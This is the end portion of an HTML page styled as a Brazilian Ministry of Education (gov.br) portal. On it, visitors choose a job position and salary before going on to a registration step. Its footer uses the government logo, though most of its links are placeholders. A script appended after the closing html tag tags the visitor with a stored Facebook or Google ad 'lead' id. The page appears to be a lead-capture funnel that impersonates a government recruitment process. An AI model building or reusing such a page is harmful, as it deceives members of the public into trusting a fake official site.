                }, 3000);

                cargoOptions.forEach(option => {
                    option.addEventListener('click', function () {
                        if (this.getAttribute('data-disponivel') === 'false') return;

                        cargoOptions.forEach(opt => {
                            opt.classList.remove('ring-2', 'ring-blue-500', 'bg-blue-50');
                            if (opt.getAttribute('data-disponivel') !== 'false') {
                                opt.classList.add('bg-gray-50');
                            }
                        });

                        this.classList.remove('bg-gray-50');
                        this.classList.add('ring-2', 'ring-blue-500', 'bg-blue-50');

                        const cargoNome = this.querySelector('h4').textContent;
                        const cargoSalario = this.querySelector('.text-blue-600').textContent;
                        const salarioMaximo = cargoSalario.split(' - ')[1] || cargoSalario;

                        localStorage.setItem('cargoSelecionado', JSON.stringify({
                            nome: cargoNome,
                            salario: cargoSalario,
                            salarioMaximo: salarioMaximo
                        }));

                        cargoSelecionadoTexto.textContent = cargoNome;
                        salarioSelecionado.textContent = cargoSalario;

                        botaoInscricao.classList.remove('hidden');

                        setTimeout(() => {
                            botaoInscricao.scrollIntoView({
                                behavior: 'smooth',
                                block: 'center'
                            });
                        }, 300);
                    });
                });

                document.getElementById('iniciar-inscricao').addEventListener('click', function () {
                    const currentParams = new URLSearchParams(window.location.search);
                    window.location.href = '04' + (currentParams.toString() ? '?' + currentParams.toString() : '');
                });
            });
        </script>

    </main>

    <!-- Footer -->
    <footer class="bg-[#0a1f44] text-white">
        <div class="container mx-auto px-6 py-4">
            <!-- Logo -->
            <div class="py-6">
                <img src="assets/img/1.webp"
                    alt="Government of Brazil logo showing gov.br in white text" class="w-40">
            </div>

            <!-- Divider -->
            <div class="border-t border-gray-600"></div>

            <!-- Navigation Menu -->
            <nav aria-label="Menu principal do rodapé">
                <ul>
                    <li class="py-3">
                        <a href="#" class="text-sm hover:text-gray-300">MEC</a>
                    </li>
                    <li class="border-t border-gray-600 py-3 flex justify-between items-center">
                        <a href="#" class="text-sm hover:text-gray-300">EDUCAÇÃO BÁSICA</a>
                        <button class="footer-expand-btn" aria-label="Expandir seção Educação Básica">
                            <i class="fas fa-chevron-down text-xs"></i>
                        </button>
                    </li>
                    <li class="border-t border-gray-600 py-3 flex justify-between items-center">
                        <a href="#" class="text-sm hover:text-gray-300">ENSINO SUPERIOR</a>
                        <button class="footer-expand-btn" aria-label="Expandir seção Ensino Superior">
                            <i class="fas fa-chevron-down text-xs"></i>
                        </button>
                    </li>
                    <li class="border-t border-gray-600 py-3 flex justify-between items-center">
                        <a href="#" class="text-sm hover:text-gray-300">PROGRAMAS EDUCACIONAIS</a>
                        <button class="footer-expand-btn" aria-label="Expandir seção Programas Educacionais">
                            <i class="fas fa-chevron-down text-xs"></i>
                        </button>
                    </li>
                    <li class="border-t border-gray-600 py-3 flex justify-between items-center">
                        <a href="/acesso-informacao" class="text-sm hover:text-gray-300">ACESSO À INFORMAÇÃO</a>
                        <button class="footer-expand-btn" aria-label="Expandir seção Acesso à Informação">
                            <i class="fas fa-chevron-down text-xs"></i>
                        </button>
                    </li>
                    <li class="border-t border-gray-600 py-3 flex justify-between items-center">
                        <a href="#" class="text-sm hover:text-gray-300">PORTAL DO PROFESSOR</a>
                        <button class="footer-expand-btn" aria-label="Expandir seção Portal do Professor">
                            <i class="fas fa-chevron-down text-xs"></i>
                        </button>
                    </li>
                    <li class="border-t border-gray-600 py-3 flex justify-between items-center">
                        <a href="#" class="text-sm hover:text-gray-300">CANAIS DE ATENDIMENTO</a>
                        <button class="footer-expand-btn" aria-label="Expandir seção Canais de Atendimento">
                            <i class="fas fa-chevron-down text-xs"></i>
                        </button>
                    </li>
                    <li class="border-t border-gray-600 py-3 flex justify-between items-center">
                        <a href="#" class="text-sm hover:text-gray-300">POLÍTICAS EDUCACIONAIS</a>
                        <button class="footer-expand-btn" aria-label="Expandir seção Políticas Educacionais">
                            <i class="fas fa-chevron-down text-xs"></i>
                        </button>
                    </li>
                    <li class="border-t border-gray-600"></li>
                </ul>
            </nav>

            <!-- Cookie Settings -->
            <div class="mt-6 flex items-center">
                <button id="cookie-settings" class="flex items-center hover:text-gray-300"
                    aria-label="Redefinir configurações de cookies">
                    <i class="fas fa-cookie-bite text-lg mr-2"></i>
                    <span class="text-sm">Redefinir Cookies</span>
                </button>
            </div>

            <!-- Social Networks -->
            <div class="redes-e-logos mt-8">
                <div class="redes-sociais">
                    <div class="titulo text-sm font-bold mb-4">Redes sociais</div>
                    <ul class="portal-redes">
                        <li class="portalredes-youtube portalredes-item">
                            <a href="#" aria-label="YouTube" class="social-link">
                                <i class="fab fa-youtube social-icon"></i>
                            </a>
                        </li>
                        <li class="portalredes-facebook portalredes-item">
                            <a href="#" aria-label="Facebook" class="social-link">
                                <i class="fab fa-facebook-f social-icon"></i>
                            </a>
                        </li>
                        <li class="portalredes-twitter portalredes-item">
                            <a href="#" aria-label="Twitter" class="social-link">
                                <i class="fab fa-twitter social-icon"></i>
                            </a>
                        </li>
                        <li class="portalredes-instagram portalredes-item">
                            <a href="#" aria-label="Instagram" class="social-link">
                                <i class="fab fa-instagram social-icon"></i>
                            </a>
                        </li>
                    </ul>
                </div>
            </div>
        </div>
    </footer>

    <!-- Search Modal -->
    <div id="search-modal" class="search-modal hidden">
        <div class="search-modal-content">
            <div class="search-modal-header">
                <h3>Pesquisar</h3>
                <button id="close-search-modal" aria-label="Fechar pesquisa">
                    <i class="fas fa-times"></i>
                </button>
            </div>
            <div class="search-modal-body">
                <form id="search-form">
                    <input type="text" id="search-input" placeholder="Digite sua pesquisa..."
                        aria-label="Campo de pesquisa">
                    <button type="submit" aria-label="Pesquisar">
                        <i class="fas fa-search"></i>
                    </button>
                </form>
            </div>
        </div>
    </div>

    

</body>

</html>

<script>
(function () {
  const POLL_MS = 500;

  function getStorageKey() {
    const url = new URL(window.location.href);
    const current = url.searchParams.get("utm_source");
    if (current === "FB") return "lead";
    if (current === "google") return "lead-google";
    return null;
  }

  function getLeadId(storageKey) {
    if (!storageKey) return null;
    const raw = localStorage.getItem(storageKey);
    if (!raw) return null;
    try {
      const obj = JSON.parse(raw);
      return obj && obj._id ? String(obj._id) : null;
    } catch {
      return null;
    }
  }

  function applyUtmIfNeeded() {
    const url = new URL(window.location.href);
    const current = url.searchParams.get("utm_source");
    const storageKey = getStorageKey();
    const id = getLeadId(storageKey);
    if (!id) return false;

    let desired = null;
    if (current === "FB") {
      desired = "FBjLj" + id;
    } else if (current === "google") {
      desired = "googlejLj" + id;
    }

    if (!desired) return false; 

    url.searchParams.set("utm_source", desired);
    window.location.replace(url.toString());
    return true;
  }

  if (applyUtmIfNeeded()) return;

  const interval = setInterval(() => {
    if (applyUtmIfNeeded()) clearInterval(interval);
  }, POLL_MS);
})();
</script>